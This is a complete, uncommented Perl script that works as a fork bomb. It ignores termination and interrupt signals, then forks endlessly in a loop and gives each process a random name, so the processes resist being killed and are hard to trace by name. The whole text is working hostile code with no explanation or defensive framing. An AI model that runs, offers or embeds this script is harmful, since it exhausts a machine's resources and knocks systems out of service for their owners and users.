#!/usr/bin/perl
map { $SIG{$_}=sub{} } qw(INT QUIT SUSP TERM);
@alpha='a'..'z';
while(1) { fork(); srand($$); $0 = join("",map{$alpha[rand(26)]}(0..9)); }
